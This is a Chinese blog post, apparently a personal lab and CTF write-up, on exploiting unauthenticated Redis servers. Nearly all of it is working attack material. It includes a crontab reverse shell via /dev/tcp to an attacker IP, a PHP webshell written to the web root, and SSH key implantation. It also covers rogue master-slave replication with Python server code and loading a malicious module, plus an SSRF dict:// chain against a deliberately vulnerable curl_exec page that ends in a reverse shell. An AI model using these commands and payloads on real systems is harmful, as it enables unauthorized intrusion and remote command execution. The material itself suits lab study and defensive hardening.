redis未授权

redis未授权

搭建环境

ubuntu安装并启动redis服务

wget http://download.redis.io/releases/redis-3.2.11.tar.gz#下载压缩包

tar xzf redis-3.2.11.tar.gz#解压

cd redis-3.2.11#进入目录

make#编译执行

cd src
cp redis-server /usr/bin/
cp redis-cli /usr/bin/
#把上面两个文件拷贝到/usr/bin/方便使用命令

redis-server#启动服务

cp redis.conf /etc/#把配置文件拷贝到后面文件中
vim /etc/redis.conf#修改配置文件

#注释掉绑定ip:blnd 127.0.0.1,允许除本地外的其他主机访问
#把protected yes中的yes改为no,允许远程连接redis服务
redis-server /etc/redis.conf#使用修改后的配置文件启动服务
systemctl start sshd#开启ssh服务

#关闭防火墙
iptables -F
setenforce 0
getenforce
systemctl stop firewalked

ubuntu的ip:19.168.43.36

kali的ip:192.168.43.149

利用思路

1.定时任务/启动项弹shell

linux的redis就是定时任务:/etc/crontab

windows就是启动项:

所有用户:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

特定用户:C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

区别就是设置的dir不同

/var/spool/crontab--计划任务目录   /etc/crontab--系统级别的计划任务配置
redis-cli -h 192.168.43.36
config set dir /var/spol/cron/crontabs
config set dbfilename root
set xxo "\n\n/bin/bash -i>&/dev/tcp/192.168.43.149/5678 0>&1\n\n"
kali监听:nc -lvp 5678

2.写webshell

设置dir位web目录

config set dir /var/www/html
config set dbfilename shell.php
config set xxo "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save

3.写入公钥

如果是root身份运行redis则写入ssh公钥

kali:
ssh-keygen -t rsa #生成公钥私钥
cd /root/.ssh
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>pubKey.txt#将公钥写入文件
cat pubKey.txt | redis-cli -h 10.10.10.135 -x set crack#通过管道将公钥写到redis数据库的crack键中
redis-cli -h 192.168.43.36
config set dir /home/greenhill/.ssh
config set dbfilename authorized_keys
save
ssh -i id_rsa greenhill@192.168.43.36#公钥给服务器,用自己的私钥登录
利用条件还挺苛刻的
主要是ssh配置文件
PermitRootLogin yes  #允许root登录
PermitEmptyPasswords yes  #允许空密码登录
PasswordAuthentication yes  #设置是否使用口令验证。
PasswordAuthentication no   //yes改为no
RSAAuthentication yes   #去掉前面的注释
PubkeyAuthentication yes  #去掉前面的注释
AuthorizedKeysFile .ssh/authorized_keys  #去掉前面的注释
authorized_keys的权限不能太高(600就可以),.ssh权限700

4.主从复制

拿到一个shell探测到内网的redis

SSRF探测到内网的redis

1.需要自己起一个redis服务器,然后连接到被攻击的redis服务器执行命令(或者通过SSRF执行命令)

config set dir /tmp
config set dbfilename exp.so
slaveof 自己redis服务器的ip port#这里设置自己的redis服务器为主节点,被攻击的为从节点
module load /tmp/exp.so
system.exec 'id'

使用脚本自动攻击

RedisModules-ExecuteCommand-master,进入目录 make

把得到的.so文件复制到redis-rogue-server-master目录

python redis-rogue-server.py --rhost 192.168.57.134 --rport 6379 --lhost 192.168.57.130 --lport 1234

image-20240124134347154

redis-cli连接或者SSRF执行命令

system.exec "whoami"

image-20240124134459536

5.SSRF+redis主从

春秋杯2023冬季赛遇到了,但是没有弄公网ip所有自己本地搭一个试试

这里只用春秋杯冬季赛里面的执行curl_exec造成SSRF部分的代码,反序列化部分就不用了

ubuntu:192.168.57.134

kali:192.168.57.130

先ubuntu起一个redis服务,端口是6379,配置bind:127.0.0.1 ::1,开启protected-mod模式

然后起一个web服务

sudo apt install php libapache2-mod-php
sudo apt isntall apache2
sudo service apache2 start
sudo apt isntall php-curl#记住要下载这个扩展,不然cURL报错
sudo service apache2 restart

index.php:

<?php
highlight_file(__FILE__);
$url=$_GET['url'];
var_dump($url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
if(curl_errno($ch)){
    echo 'ERROR!';
}
$result_info = curl_getinfo($ch);
var_dump($result_info);
curl_close($ch);
var_dump($output);
?>

http://192.168.57.134/index.php?url=dict://127.0.0.1:6379/info

探测成功,直接利用

还是kali先用上面介绍的工具编译好exp.so、起一个恶意redis服务

redis-server.py:

import socket
from time import sleep
from optparse import OptionParser

def RogueServer(lport):
    resp = ""
    sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.bind(("0.0.0.0",lport))
    sock.listen(10)
    conn,address = sock.accept()  
    sleep(5)
    while True:    
        data = conn.recv(1024)
        if "PING" in data:
            resp="+PONG"+CLRF
            conn.send(resp)
        elif "REPLCONF" in data:
            resp="+OK"+CLRF
            conn.send(resp)
        elif "PSYNC" in data or "SYNC" in data:
            resp =  "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
            resp += "$" + str(len(payload)) + CLRF
            resp = resp.encode()
            resp += payload + CLRF.encode()
            if type(resp) != bytes:
                resp =resp.encode()            
            conn.send(resp)    
        #elif "exit" in data:
            break


if __name__=="__main__":

    parser = OptionParser()                     
    parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT")        
    parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE")            

    (options , args )= parser.parse_args()
    lport = options.lp
    exp_filename = options.exp

    CLRF="\r\n"
    payload=open(exp_filename,"rb").read()
    print "Start listing on port: %s" %lport
    print "Load the payload:   %s" %exp_filename     
    RogueServer(lport)

因为这里的redis只要目标本机可以联通,也就是只能用SSRF去打,所有之前说的一键利用脚本用不了

image-20240125214324472

redis在kali起好后,去web利用SSRF执行redis命令

dict://127.0.0.1:6379/config:set:dir:/tmp
dict://127.0.0.1:6379/config:set:dbfilename:exp.so
dict://127.0.0.1:6379/slaveof:192.168.57.130:1234
dict://127.0.0.1:6379/module:load:/tmp/exp.so
dict://127.0.0.1:6379/slaveof:no:one
dict://127.0.0.1:6379/system.exec:'id'

image-20240125214606798

可以看到执行成功,反弹shell:dict://127.0.0.1:6379/system.rev:192.168.57.130:2346

image-20240125214912884

posted @ 2024-01-25 21:50  qingshanboy  阅读(120)  评论(0)    收藏  举报